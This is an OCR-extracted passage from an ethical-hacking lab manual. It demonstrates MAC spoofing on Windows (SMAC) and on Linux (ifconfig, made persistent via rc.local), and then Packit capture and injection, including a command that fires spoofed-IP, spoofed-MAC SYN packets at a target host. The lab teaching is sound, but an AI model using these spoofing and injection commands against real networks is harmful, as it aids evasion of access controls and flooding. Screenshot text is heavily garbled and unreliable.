Recycle Bin LibnetNT	✓ Show Only Active Network Adapters	
Internet Explorer	New Spocied MAC Address Update MAC Refresh 00 - 29 - B6 - 10 × Permove MAC Exit Sported MAC Address Exit Exit Exit Exit Exit	
	00-0C-29-86-40-10 Image: Consulting, inc www.klcconsulting, net/smac 00-0C-29-86-40-10 Image: Consulting, inc www.klcconsulting, net/smac	
LanSpy	Disclame: Use this program at your own risk. We are not responsible for any damage that might occur to your system. This program is not to be used for any illegal or unethical purpose. To not use this program if you do not agree with this dischamer.	
Start 🛛 🏈 🕻	🗿 📗 🔤 C:\WINNT\System32\cmd 🛛 🧐 SMAC 1.1 [WBEM On]	6:41 PM
	(L)	- • • • //

Bring up an MS-DOS prompt and repeat the **ping** command against a target.

📓 Windows 2000 Professional - YMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
🚡 Home 🖶 Windows 2000 Professional 🛐 Red Hat Linux 👔 Red Hat Linux 8 Server 🛐 Windows 2000 Server 🁔 Wind	ows 4 🕨 🗙
My Documents Remote	
SMAC 1.1 [WBEM On]	
My Computer Second My Computer Second And And And And And And And And And A	IX
Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp.	4
Ms. Maburet C:\>ping −t 172.16.1.40	
Places Pinging 172.16.1.40 with 32 bytes of data:	
Reply from 172.16.1.40: bytes=32 time<10ms ITL=128 Reply from 172.16.1.40: bytes=32 time<10ms ITL=128	
Reply from 172.16.1.40: bytes=32 time(10ms TTL=128 Recycle Bin Reply from 172.16.1.40: bytes=32 time(10ms TTL=128	
Internet Explorer	
	_
program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer.	
LanSpy	
🔆 🕅 🕼 🖓 🕼 🖾 C:\WINNT\System32\ 🦉 SMAC 1.1 [WBEM On]	🗐 6:41 PM

From the target computer, repeat the Ethereal test as above. From the results, the source has a MAC address of 00:0c:29:b6:40:10, which is identical to what the "spoofed" MAC address should be according to SMAC.

🗐 Wi	ndows	2000	Serv	er - ¥	Mwai	e Wo	rksta	tion															_10	Ľ
File Edit View VM Team Windows Help																								
👝 Home 🚡 Windows 2000 Professional 🛐 Red Hat Linux 🏹 Red Hat Linux 8 Server 🔂 Windows 2000 Server 🚮 Windows 4 🕨 🗙												×												
((Untitled) - Ethereal																								
Elle Edit View Go Capture Analyze Statistics Help																								
	1		0		M. [C		×	Ŕ) [5 [٩) «) 行	1	ŁI		\$	Ð,	Θ ,	11	
Eiter	:													•	Expressi	on 🤇	jear	Apply						
No.	Т	ime			Souro	э			0	Destina	ation				Proto	iol 🗸 In	fo							<u> </u>
	1 0 2 0 4 0	0.000 0.000 0.921	0000 0116		172. 172. 172.	16. 16. 16.	$1.49 \\ 1.40 \\ 1.49$			72.1	$16.1 \\ 16.1 \\ 16.1$	4	0 9 0				cho cho cho	(ping) (ping) (ping)) r) r	equest eply equest	t t			
	5 0	. 921	735		172.	16.	1.40		-	172.	16.1	L.4	9		ICM	P E	cho	(ping)	r	eply	-			
	81	. 962	516		172.	16.	1.40			L72.	16.1	L.4	9		ICM	E	cho	(ping)	ŕ	eply				
	10 2	2.934 2.934	114		172.	16. 16.	1.49 1.40		-	L72.: L72.:	$16.1 \\ 16.1$	L.41) 9		ICMF ICMF	2 E	cho cho	(ping) (ping)) r) r	equest eply	t			-
	13 3	3.934	481		172.	16.	1.49		1	L72.:	16.1	L.4	C		ICMP	P E	cho	(ping)) r	equest	t			-
1																							<u> </u>	·]
E FI	rame therr	1 (7 Det T	4 b	ytes src:	Vmv	wir are	e, 74	4 byt 40:10	es (0	capti 0:0c	unei :29	d) :b6	:40	:10). Dst	: Vmw	are	a3:e4	:40	0 (00:	0c:24	9:43:	P4:40	0
II II	nterr	net F	rot	ocol	, sr	c:	172.3	16.1	49	(172	.16	.1	49)	, Ds	st: 17	2.16.	1.4	0 (172	.16	5.1.40)			<u> </u>
	nterr	net c	iont.	rol	Mess	age	Pro	toco																
0000	0 00	0 <i>c</i>	29 2	13 A	4 4 0	00	0c	29 h	6 40	0 10	08	00	45	00)	. 6.	٦.«	E						-
0010	00	30	00 3	32 Q	0 00	80	01	e0 1	5 ac	10	01	31	ac	10	. <. 2	7)		1						-
0020	67	68	69 6	5a 6	6 6c	6d	6e	6f 7	0 71	72	73	74	75	76	ghi	k lmn	opc	rstuv						
0040	77	61	62.6	os 6	4 65	66	6/	68.6	9						wabo	:aetg	n1		_					-
File: "C\DOCUME~1\ADMINI~1\LOCALS~1\Temp\etherXXXXa01188" 43C P: 51 D: 51 M: 0 Drops: 0																								
345	tart	(e Ę	31 B	Ē	C]]©	(Untit	led) -	Ether	real		-	Comm	and Prom	pt			_	_		¥Q.	6:42 F	M
																								1) //

Because SMAC allows for reboots it must provide a way to release the "spoofed" MAC address to return to normal. The "spoofed" MAC address will disappear in the lower-left corner of the application.

Click the **Exit** button. **Reboot** the computer.

🗐 Windows 2000 Profe	essional - VMware Workstation	_ 🗆 ×
File Edit View VM	Team Windows Help	
A Home 🔐 Window	rs 2000 Professional 🔓 Red Hat Linux 🛛 👘 Red Hat Linux 8 Server 🛛 👘 Windows 2000 Server 🛛 👘 Wind	ows 4 🕨 🗙
My Documents Remote		
Desktop		
	SMAC 1.1 [WBEM On]	
My Computer Engage Pa builde	File About	
6 B	ID Active Spooled Network Adapter IP Address Active MAC	
<u> 6</u> 2 .3	10000 Tes No VMWare Accelerated AMD P 172.16.1.43 00-00-23-66-40-10	
My Network ZxSniff Places		
3		
Recycle Bin LibnetNT	Show Only Active Network Adapters	
6	New Spoofed MAC Address Update MAC Refresh	
S	00 - 0C - 29 - B6 - 40 - 10 × Remove MAC Exit	
Internet Explorer	Spoofed MAC Address	
a	KLC CONSULTING, INC	
2 −2.	Active MAL Address www.klcconsulting.net/smac	
WIZD	Disabilities: Healthis means at using our dely. We are not remansible for any damage that might easy to your system. This	
	program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer.	
LanSov		
Janop/		
🕂 Start 🛛 🙆 🍘	🗊 🗌 🔤 C:\WINNT\System32\cmd 👘 SMAC 1.1 [WBEM On]	🚇 6:43 PM

Once the computer has rebooted, open the SMAC address. Notice the active MAC address is the actual MAC address of the computer.

🗐 Windows 2000 Professional - VMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Hone 🔐 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 🔐 Windows 2000 Server 👔 Windows	4 > x
My Documents Remote	
My Computer Engage Pa V SMACT.1 [WBEM Un]	1
LD Active Spoofed Network Adapter IP Address Active MAC	
Sec CD C D000 F185 NO VMWale Accelerated AM0 F 172 16 1 43 D000 23864030 My Network CS S C	
Places	
Recycle Bin	
Show Only Active Network Adapters	
Explorer Spoofed MAC Address	
KLC CONSULTING, INC	
WinZip Active MAC Address www.klcconsulting.net/smac	
Disclaimer: Use this program at your own risk. We are not responsible for any damage that might ocour to your system. This	
program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer.	
сациу	
WStart」 (1) (2) (2) いい SMAC 1.1 [WBEM On] (2) C:\WINT\System32(cmd) (2) (2) (2) (2) (2) (2) (2) (2) (2) (2	5:47 PM
그는 그	
🗐 Windows 2000 Profes onal - VMware Workstati - 🗆 × Edit View VM Team Windows Help 🔐 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 🔐 V l in V 4 **> x** P 93 - IX ___× C:\W ft Windows 2000 [Version 5.00.219 pyright 1985-2000 Microsoft Corp. icros -:>>ping -t 172.16.1.40 inging 172.16.1.40 with 32 C E Ł 2 program is not to be used for any illegal or unethical purpose. Do not use this program if you do not agree with this disclaimer. 🤃 🗊 🗊 6:47 PM

To verify the change repeat the **ping** process.

From the target computer, repeat the Ethereal test as above. From the results, the source has a MAC address of 00:0c:29:b6:40:95, which is the real MAC address of the SMAC computer.

🗐 Win	dows 2	2000 Se	erver	- VM	ware V	/orkst	ation																_	٦×
File	Edit	View 1	VM ·	Team	Wind	lows	Help																	
	00 🗊	9	C		h 😰			2	2	13														
A Hot	me 👔	i). Wind	dows :	2000	Profess	ional	-	Red F	Hat Li	inux		h Re	d Ha	t Linu	x 8 Server) Win	dows 2	000	Server	in W	indows	4	×
🕲 (Un	titled)	- Ether	real															1						۶×
Eile	Edit	view g	io <u>c</u>	aptur	e <u>A</u> na	lyze	Statis	ics	Help															
	6		01	10	10	• 6))	c (Ś	E	5 [) <	\$	\$	2	F 4	Ł [[3	€,	e,	1:1	
Eilter:														-	Expressio	n	⊆lear	Apply						
No.	Tir	ne		Sc	ource				De	estina	ation	2			Protoc	ol • I	nfo							<u> </u>
	2 0.	45544	48	1	72.16	.1.4	3		1	72.:	16.:	1.4	0		ICMF		cho	(pin	α)	request				
	3 0.	4555	25	1	72.16	.1.4	2		1	72.:	16.1	1.4	3		ICMF	E	Icho	(pin	g)	reply				
	61.	2669	97 64	1	72.16	.1.4	5		1	72.1	16.1	1.4	3		ICME		cho	Coin	g) a)	reply				
	8 2.	28821	08	1	72.16	.1.4	3		1	72.1	16.1	1.4	ò		ICMF	E	cho	(pin	ġ)	request				
	9 2.	2882	74	1	72.16	.1.4	0		17	72.:	16.:	1.43	3		ICMF	E	cho	(pin	ġ)	reply				
	12 3.	25926	67	1	72.16	.1.4	3		1:	72.	16.	1.4	2		ICMF		cho	(pin	g)	request				
	15 5.	20111	00	1	72.10 72.16	1 4	2		1	72	16.1	1.4:	5 1		TCME		cho	(pin	gy .	repiy				
L.	10 4.		00	-	/2.10		·			/ 2			·		TCHIL		cho	cpini	97	request				÷
																					_			
🗄 Fr	ame 2	2 (74	byt	es	on wi	re,	74 b	yte	s c	apti	ure	d)												
Et Et	herne	et II,	, Sr	<: `	vmwar	e_b6	:40:	95 1	000	:0c	:29	:56	:40	:95), Dst:	Vm	ware	_a3:e	4:4	0 (00:	0c:2	9:a3:	e4:40	0
	terne	et Cor	otro	ог, 1 м	SPC: accan	2 Dri	to.	1.4: 0]	s (.	1/2	. 10		رده	, U	SU: 1/,		.1.4	0 (1)	2.1	.0.1.40)			
	CELLIG	et con	ICI O	1 19	essay	e = 11	scoc	01																
0000	00	0c 29	a3	e4	40 0) OC	29	b6	40	95	08	00	45	00).		0.6	3E						-
0010	õõ	3c 00	3f	ōó	00 8	0 01	e0	0e	ac	10	01	2b	ac	ĩõ	< 7									
0020	01	28 08	00	38	5C 0	2 00	13	00	61	62	63	64	65	66		8\		abcdet	f					
0040	77	61 62	63	64	65 6	5 67	68	69	1	12	15	74	10	/0	wabo	defr	i upi i hi	ar s c u	× .					
101 10	Inor				0.011.0		1.11		1.04	codili	244	0.0					,		_					
Hile: "C	.:(DOCL	IME~1\A	UMIN:	1~1)L 	UCALS	vi (rem	plethe	rxxx	sault	PAP. :	261	IN: 3	10:3	51 M:	U Drops: (L cm			
) Sta	art	(<u> </u>	Ę.	C:/	e e) (Un	titled	d) - E	Ether	real		Cax I	Comn	hand Prom	ot						₿₫	6:48 F	PM
																						P		100

*Note: Before SMAC came around, the best choice to spoof a MAC address was to use a Linux-based tool. SMAC is an excellent tool to spoof a Windows MAC address.

Lab 50: Spoofing MAC Addresses Send Packets via a False MAC Address: Linux

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicableDescription: Linux has the ability to "spoof" its own MAC address. This lab will demonstrate how to "spoof" your MAC with Linux and have that same "spoofed" MAC address occur on each reboot automatically. Remember that all commands in Linux are *case sensitive*.Procedure: Set the parameters and execute:

ifconfig (interface name) hw ether (spoofed MAC address)

From a Linux terminal type **ifconfig** and press the **Enter** key. The current Ethernet configuration will be displayed, including the MAC address. In this example:

00:0c:29:4e:1e:cd



Verify the MAC address against a target by starting a **ping** command while running Ethereal (Lab 41):

Red Hat Linux - YMware Workstation	_O×
File Edit View VM Team Windows Help	
A Home 5: Windows 2000 Professional Red Hat Linux 5: Red Hat Linux 8 Server 5: Windows 2000 Server 5: Windows	
PG	
root's Home	
Start Here	
File Eat View Termina Go Help	
Tras PING 172.16.1.40 (172.16.1.40) 56(84) bytes of data.	
64 bytes from 172.16.1.40: icmp_seq=1 ttl=128 time=1.29 ms	
64 bytes from 172.16.1.40: icmp_seq=2 ttl=128 time=0.242 ms	
64 bytes from 172.16.1.40: icmp_seq=3 ttl=128 time=16.8 ms	
64 bytes from 172.16.1.40: icmp_seq=4 ttl=128 time=0.285 ms	
64 bytes from 1/2.16.1.40: 1cmp_seq=5 ttl=128 time=0.243 ms	
64 bytes from 1/2.16.1.40: 1cmp_seq=0 ttl=128 time=0.380 ms	
64 bytes from 172.16.1.40: 1cmp_seq=7 ttl=128 time=0.428 ms	
64 bytes from 172 16 1 40: icmp seq-0 ttl=128 time=0.380 ms	
64 bytes from 172.16.1.40: icmp seg=10 ttl=128 time=0.321 ms	
	n Nov 14
	.17 PM
	······································

ping 172.16.1.40

From the Ethereal application capture a few packets for verification. Click to highlight an ICMP packet. In this example the results verified the original MAC address of **00:0c:29:4e:1e:cd**.

🗐 Windows 2000 Server - VMware Workstation		_ 🗆 🗙
File Edit View VM Team Windows Help		
🛆 Home 📑 Windows 2000 Professional 📑	Red Hat Linux 🛛 🔐 Red Hat Linux 8 Server 🛛 🔐 Windows 2000 Server 🖓 Windows	↓ ★ ×
@ (Untitled) - Ethereal		_ 립 ×
File Edit View Go Capture Analyze Statis	tics Help	
	< @ ₽ 9 0 7 2 1 8 9 0 0	۵,
Elter:	Expression Clear Apply	
No. Time Source *	Destination Protocol Info	<u> </u>
45 8.489044 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	
33 5.867053 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	
28 4.566923 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	
23 3.373195 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	
18 2.172619 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	
6 0 578253 172 16 1 45	172.16.1.40 ICMP Echo (ping) request	
3 0.029920 172.16.1.45	172.16.1.40 ICMP Echo (ping) request	-
		<u> </u>
B Frame 43 (96 bytes on wire, 98 Ethernet II, Src: Ymware_4e:1e: Destination: Ymware_42:40 Source: Ymware_4e:1e:cd (00:0 Type: IP (0X0800) B Internet Protocol, Src: 172.16.	bytes capture0); cd (00:0c:29:42:1e:cd), Dst: Vmware_a3:e4:40 (00:0c:29:a3: (00:0c:29:a3:e4:40) c:29:4e2:1e:cd) 1.45 (172.16.1.45), Dst: 172.16.1.40 (172.16.1.40)	⊵4:40)
⊞ Internet Control Message Protoc	.01	
		Ľ
0000 00 0c 29 a3 e4 40 00 0c 29	4e 1e cd 08 00 45 00)@NE.	
0020 01 28 08 00 dc c3 ed 08 00	7b 8e 52 79 43 32 1f . (
0030 09 00 08 09 0a 0b 0c 0d 0e	Of 10 11 12 13 14 15	
0040 16 17 18 19 1a 1b 1c 1d 1e	1† 20 21 22 23 24 25 !"#\$%	-
File: "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\ethe	arXXXXa01188" 45C P: 47 D: 47 M: 0 Drops: 0	
🏽 👔 Start 🛛 🖆 🍘 🖾 🖾 🖉 🗍 🕲 (Un	titled) - Ethereal 🖾 Command Prompt 🕼 🛱 🌾	9:15 PM
	2	

Disable the eth0 NIC by typing **ifconfig eth0 down**.



In this example, the default MAC address was changed by typing: ifconfig eth0 hw ether 11:22:33:44:55:66



Enable the eth0 NIC by typing **ifconfig eth0 up**.



Verify on the Linux machine that the MAC address has changed by typing **ifconfig** and pressing **Enter**. In this example, the results verify:

■ The new MAC address has been changed to **11:22:33:44:55:66**.



Repeat the **ping** process as above to validate the new results across the network.

📓 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🖻 Home 🚡 Windows 2000 Professional 🔐 Red Hat Linux 🔐 Red Hat Linux 8 Server 📳 Windows 2000 Server 👔 Win	dows 4 🕨 🗙
root's Home	
*	
Start Here	
root@localhost:~/tools	×
<u>File Edit View Terminal Go</u> <u>H</u> elp	
Tras [root@localhost tools]# ping 172.16.1.40	^
64 bytes from 172.16.1.40; icmp_seq=1 ttl=128 time=1.16 ms	
64 bytes from 172.16.1.40: icmp_seq=2 ttl=128 time=0.308 ms	
64 bytes from 172.16.1.40: icmp_seq=3 ttl=128 time=1.39 ms	
64 bytes from 172.16.1.40: icmp_seq=4 ttl=128 time=0.302 ms	
64 bytes from 172.16.1.40; icmp_seq=5 ttl=128 time=0.468 ms	
64 bytes from 172.16.1.40: icmp seq=7 ttl=128 time=0.257 ms	
	§
	*
	Mon Nov 14 9:40 PM

Repeat the Ethereal process as above. In this example, the results:

■ Verify that the new MAC address of **11:22:33:44:55:66** travels across the network.

💽 Windows 2000 Server - VMware Workstation	
File Edit View VM Team Windows Help	
🚖 Home 👔 Windows 2000 Professional 📳 R	ted Hat Linux 🚦 Red Hat Linux 8 Server 🗃 Windows 2000 Server 🔚 Windows 🕢 🕨
④ (Untitled) - Ethereal	
<u>File Edit View Go Capture Analyze Statistic</u>	:s <u>H</u> elp
	@ ≞ ସ ⇔ ⇔ ጭ ൷ ⊈ 🗖 📑 ! ••, •, •, •
Eilter:	Expression Glear Apply
No. Time Source *	Destination Protocol Info
39 7.809859 172.16.1.45	172.16.1.40 ICMP Echo (ping) request
30 5.738793 172.16.1.45	172.16.1.40 ICMP Echo (ping) request
23 4.625101 172.16.1.45	172.16.1.40 ICMP Echo (ping) request
18 3.537120 172.16.1.45	172.16.1.40 ICMP Echo (ping) request
8 1 449167 172 16 1 45	172.16.1.40 ICMP Echo (ping) request
3 0.273652 172.16.1.45	172.16.1.40 ICMP Echo (ping) request
41 7.839633 172.16.1.43	172.16.1.40 ICMP Echo (ping) request
[4]	······
⊞ Frame 39 (98 bytes on wire, 98 b	ytes captured)
⊟ Ethernet II, Src: 11:22:33:44:55	:66 (11:22:33:44:55:66), Dst: Vmware_a3:e4:40 (00:0c:29:a3:e4:40
Source: 11:22:33:44:55:66 (11:	00:00:29:a3:e4:40) 22:33:44:55:66)
Type: IP (0x0800)	22.33.44.33.00)
⊞ Internet Protocol, Src: 172.16.1	.45 (172.16.1.45), Dst: 172.16.1.40 (172.16.1.40)
🗄 Internet Control Message Protoco	I.
↓	
0000 00 0c 29 a3 e4 40 11 22 33 4	44 55 66 08 00 45 00)@." 3DUFE.
0020 01 28 08 00 d5 78 1c 09 00 2	23 e7 58 79 43 b8 bb .(x., #.xvC
0030 02 00 08 09 0a 0b 0c 0d 0e 0	of 10 11 12 13 14 15
0040 16 1/ 18 19 1a 1b 1c 1d 1e 1	1+ 20 21 22 23 24 25
File: "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\ether>	XXXXa01612" 425 P: 43 D: 43 M: 0 Drops: 0
🏦 Start 🛛 🗗 🍘 🛱 🖾 📁 🔘 🖉 (Unti	itled) - Ethereal 🖾 Command Prompt 🕼 🕼 🌾 9:40 PM

To automatically have the eth0 NIC run with a "spoofed" MAC address open: /etc/sysconfig/networking/devices/ifcfg-eth0



Edit the **BOOTPROTO=dhcp** line to **BOOTPROTO=none**. Save and close the file to prevent the eth0 NIC from activating on boot.



Open the **rc.local** file for editing at: /**etc/rc.d/rc.local**. Add the "spoofed" MAC address by typing:

- Red Hat Linux VMware Workstation - 🗆 🗙 Edit View VM Team Windows Hels ne 👔 Windows 2000 Professional 🛛 🗃 Red Hat Linux 👘 /etc/rc.d/rc.local (modified) - gedit Elle Edit View Search Tools Documents Help \bigcirc Save Print Undo Redo Cut Copy Paste Find Replace New Open ns * 🖲 rc.local* 🛪 #!/bin/sh # # This script will be executed °after° all the other init scripts # You can put your own initialization stuff in here if you don't # want to do the full Sys V style init stuff. touch /var/lock/subsys/local ifconfig eth0 hw ether 12:34:56:78:90:10 Ln 8, Col. 41 6662866 0 Mon Nov 14 10:06 PM
- ifconfig eth0 hw ether 12:34:56:78:90:10

If the machine requires a DHCP connection to obtain an IP address:

- Type the line: /sbin/dhcpcd eth0
- Save and close the file



Reboot the Linux machine and the new "spoofed" MAC address will now be used.

*Note: Sometimes it is the simple things that work either the quickest or the best. As for changing the MAC address in Linux, this way works as well as any application; however, apparently this technique only works on eth0.

Lab 51: Packet Injection/Capture/Trace

Send Packets via a False IP/MAC Address: Packit

Prerequisites: None

Countermeasures: Firewall filters, vendor patches where applicable

- **Description:** Packit is a network-auditing tool. Its value is derived from its ability to customize, inject, monitor, and manipulate IP traffic. By allowing you to define (spoof) all Transfer Control Protocol (TCP), User Datagram Protocol (UDP), ICMP, IP, Address Resolution Protocol (ARP), Reverse Address Resolution Protocol (RARP), and Ethernet header options, Packit can be useful in testing firewalls, intrusion detection systems, port scanning, simulating network traffic and general TCP/IP auditing. Packit is also an excellent tool for learning TCP/IP. Remember that all commands in Linux are *case sensitive*.
- **Procedure:** Compile, create, set parameters, and execute with the following syntax:

Packet capture:

```
./packit -m capture [-cGHnvsX] [-i interface] [-r|-w
file] expression
```

Packet injection:

```
./packit -m inject [-t protocol] [-aAbcCdDeFgGhHjJkKlLm-
MnNoOpPqQrRsSTuUvwWxXyYzZ] [-i interface]
```

Packet trace:

./packit -m trace [-cGHnvsX] [-i interface]
 [-r|-w file] expression

From the directory containing the compressed files, type **tar**–**zxvf packit**-**1.0.tgz**.

The files will uncompress into a new folder named packit-1.0.

Change to the new directory by typing **cd packit-1.0** and pressing **Enter**. Configure the Packit application for the specific machine it is on by typing **./configure**.



Packit will configure for the specific machine.

👰 Red Hat Linux - VMware W	orkstation	_ 🗆 ×
File Edit View VM Team	n Windows Help	
A Hana To Medaua 2000	Defensional IP Ded Hat Linux E. Ded Hat Linux & Causer E. Mitchause 2000 Causer	
Toot@localhost:~/tools	s/nackit/nackit-1.0	
File Edit View Ter	minal Go Help	
Die Tau Den Tei		1
	() _	
L'= \ / _` 1/L I	//!_!	
) ((< _	
·/ _ \ _		
1-1	1.0	
has been configured	with the following options:	
Host type	: i686-pc-linux-gnu	
Compiler	: gcc	
Compiler flags	: -g -02 -Wall	
Linker flags	;	
Libraries	: -lpcap -lpcap -lpcap -lnet	
Binary	: /usr/local/bin	
Manual pages	: /usr/local/man/	
Injection support	: yes	
Capture support	: yes	
Enable debugging	: no	
[root@localhost nack	sit-1.0]#	
-		J
		Tue Nov 15 7:36 PM
,		

The next step is to create the executable by typing **make** and pressing **Enter**.



The Packit application will be created.



Install the Packit application by typing make install and pressing Enter.



The Packit application will install.



To capture all packets, type the following syntax:

./packit -m cap

The -m cap tells Packit to run in mode capture.



The packets will scroll on the screen.

👰 Red Hat Linux -	VMware Workstation	_ 🗆 ×
File Edit View	VM Team Windows Help	
• 11 🕨 G		
A Home 🛐 Wi	indows 2000 Professional 🛛 🔐 Red Hat Linux 🛛 👘 Red Hat Linux 8 Server 🛛 👘 Windows 2000 Server 🛛 👘 Windows	▲ ▶ ×
▼ root@localh	ost:~/tools/packit/packit-1.0	
<u>File E</u> dit <u>V</u>	/jew <u>T</u> erminal <u>G</u> o <u>H</u> elp	
Timestamp:	20:24:09.345501	
TCP header:	Src Port: 33008 Dst Port: 80 Flag(s): A	
TP header	Window: 1/160 Segn: 1625/95159 Ackn: 25260863/9	
IT header.	TTL: 64 ID: 23056 TOS: 0x0 Len: 40 (DF)	
- PID 87 -		
Timestamp:	20:24:09.390404	
UDP neader:	STC POTT: 53 DST POTT: 32//1 Len: 106	
IF neader.	TTL: 255 ID: 2316 TOS: 0x0 Len: 126 (DF)	
- PID 88 -		
Timestamp:	20:24:09.391133	
UDP header:	Src Port: 327/1 Dst Port: 53 Len: 50	
Ir neader.	TTL: 64 ID: 64787 TOS: 0x0 Len: 70 (DF)	
- PID 89 -		
Timestamp:	20:24:09.469812	
TCP header:	Src Port: 80 Dst Port: 33008 Flag(s): A	
		ue Nov 15 8:24 PM

To tell Packit to capture only TCP traffic, type: ./packit -m cap 'tcp'



From the syntax above, only TCP traffic will scroll on the screen.

👰 Red Hat Linux - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Home 🚡 Windows 2000 Professional 🔂 Red Hat Linux 🕼 Red Hat Linux 8 Server 🏹 Windows 2000 Server 🖓 Windows	
🕐 root@localhost:~/tools/packit/packit-1.0	
<u>E</u> ile <u>E</u> dit <u>V</u> iew <u>T</u> erminal <u>Go</u> <u>H</u> elp	
Timestamp: 20:25:37.461153	
TCP header: Src Port: 33027 Dst Port: 80 Flag(s): AF	
Window: 31460 Seqn: 1/3210/453 ACKn: 41/863/194	
TTL: 64 ID: 63200 TOS: 0v0 Len: 40 (DE)	
- PID 32	
Timestamp: 20:25:37.490493	
TCP header: Src Port: 80 Dst Port: 33027 Flag(s): AF	
Window: 8190 Seqn: 4178637194 Ackn: 1732107454	
IP header: Src Address: 64.233.187.99 Dst Address: 172.16.1.45	
TTL: 243 ID: 47840 TOS: 0x0 Len: 40	
- PID 33	
Timestamp: 20:25:37.490589	
Window: 31460 Segn: 1732107454 Ackn: 4178637195	
IP header: Src Address: 172.16.1.45 Dst Address: 64.233.187.99	
TTL: 64 ID: 63201 TOS: 0x0 Len: 40 (DF)	
- Packet Capture Statistics	
Received: 33 Dropped: 0 Processed: 0	
	e Nov 15 3:25 PM

To capture the first 100 packets and save the data to a file, type:

./packit -m cap -c 100 'tcp' -w 100packets.txt

- The -c 100 tells Packit to limit the captured packets to 100.
- The **-w 100packets.txt** tells Packit to write the results to a text file named 100packets.txt.



In this example, the first TCP 100 packets will be written to a file named 100packets.txt.



The **100packets.txt** file is written.



Open the **100packets.txt** file by typing:

./packit -m cap -r 100packets.txt

The **-r 100packets.txt** tells Packit to read the saved file named 100packets.txt.



The file is now open for analysis.



To inject 100 SYN packets against a specific target from a "spoofed" IP and "spoofed" MAC address type:

./packit -s 1.2.3.4 -d 172.16.1.40 -S 100 -D 80 -c 100 -F S -e AA:BB:CC:DD:EE:FF

- The -s 1.2.3.4 tells Packit to place a source IP of 1.2.3.4 on each packet.
- The -d 172.16.1.40 tells Packit to send to the target IP of 172.16.1.40.
- The **-S 100** tells Packit to use port 100 as the source port.
- The -D 80 tells Packit to send to port 80 of the target.
- The **-F S** tells Packit to set the SYN flag of each packet.
- The -e AA:BB:CC:DD:EE:FF tells Packit to use AA:BB:CC:DD:EE:FF as the source MAC address.



The Packit application will insert the 100 "spoofed" packets against the target.



From the target run an Ethereal (Lab 41) session to validate the packet injection.

- The packets **made** it to the target from a "spoofed" IP of 1.2.3.4.
- The packets have a "spoofed" MAC address of AA:BB:CC:DD:EE:FF.
- The packets were in the TCP protocol.
- The packets came from port 100.
- The packets were sent to port 80.

	tiled) - Ethereal	Capture Analyze 2	ny Composition Composition of the second se	Linux & Server	B Windows 20	ee Server	
iter:				Dipression	Shar Asoly		44
	Time	Same .	Destination	Derstowed	Info		
1	Contraction of the local division of the loc	1000	17221021240	THE	100 5 80 1	SYNI Secol Ad	STOR STORA
	4 1.542278	1.2.3.4	172.16.1.40	TCP	100 > 80 [SYN] Seq=0 Ad	ck=0 win=65
	6 2.565299	1.2.3.4	172.16.1.40	TCP	100 > 80 [SYN] Seq=0 Ad	ck=0 win=65
	8 3.574776	1.2.3.4	172.16.1.40	TCP	100 > 80 [SYN] Seq=0 Ad	ck=0 win=65
1	5 4.550180 E E E00340	1.2.3.4	172.16.1.40	TCP	100 > 80 [STNJ SEQHO AC	ck=0 win=65
1	7 6 604835	1.2.3.4	172.16.1.40	TCP	100 > 80 [SYN] Secure Ad	ck=0 win=65
1	9 7.569891	1.2.3.4	172,16,1,40	TCP	100 > 80 1	SYN1 Seg=0 Ad	ck=0 win=65
2	3 8.584864	1.2.3.4	172.16.1.40	TCP	100 > 80 [SYN] Seg=0 Ad	ck=0 win=65
-							
							<u>.</u>
Fra	me 2 (60 byt	tes on wire, 60	<pre>bytes captured) i:ee:ff (aa:bb:cc:dd:e</pre>	e:ff). Dst:	: 00:00:00 0	0:00:00 (00:	00:00:00:00
Fra Eth Int Tra	me 2 (60 byt ernet II, 5r ernet Protoc nsmission co	tes on wire, 60 rc: aatbbroc:dd col, Src: 1.2.3 ontrol Protocol	bytes captured) ice:ff (as:bb:cc:dd): .4 (1.2.3.4), 0st: 1, , src Port: 100 (100)	ee:ff), Dst: 72.16.1.40 (), Dst Port:	: 00:00:00_0 (172.16.1.40 : 80 (80), 5	00:00:00 (00:)) Seq: 0, Ack:)	00:00:00:00
Fra Eth Int Tra	me 2 (60 byt ernet II, Sr ernet Protoc nsmission Cr 00 00 00 00 00	tes on wire, 60 rc: aa:bb:rc:ido col, Src: 1.2.3 ontrol Protocol	bytes captured) itee:ff (as:bb:cc:dd:e .4 (1.2.3.4), Dst: 17 , Src Port: 100 (100) cc dd ee ff 05 00 45 a 560 01 02 03 04 ac	ee:ff), Dst: 72.16.1.40 (), Dst Port: 00	: 00:00:00_C (172.16.1.40 : 80 (80), 5	00:00:00 (00:)) eq: 0, Ack:)	00:00:00:00
Fra Eth Int Tra	me 2 (60 byt ernet II, 5r ernet Protoc nomission co 00 00 00 00 00 00 28 e4 31 12 80 64	tes on wire, 60 cc: aa:bb:cc:dd col. src: 1.2.3 antrol Protocol protocol 00 00 aa bb 00 00 as 06 00 50 53 2c	<pre>bytes captured) iteeff (asibbicciddie .4 (1.2.3.4), 0st: 1/ . scc Port: 100 (100) cc dd ee ff 05 00 43 a5 60 01 02 03 04 ac e7f 00 00 00 00 50</pre>	ee:ff), Dst: 72.16.1.40 (), Dst Port: 00 10 .(.1 02 .(.d.P	: 00:00:00_0 (172.16.1.40 : 80 (80), 5	00:00:00 (00:)) Seq: 0, Ack:)	00:00:00:00
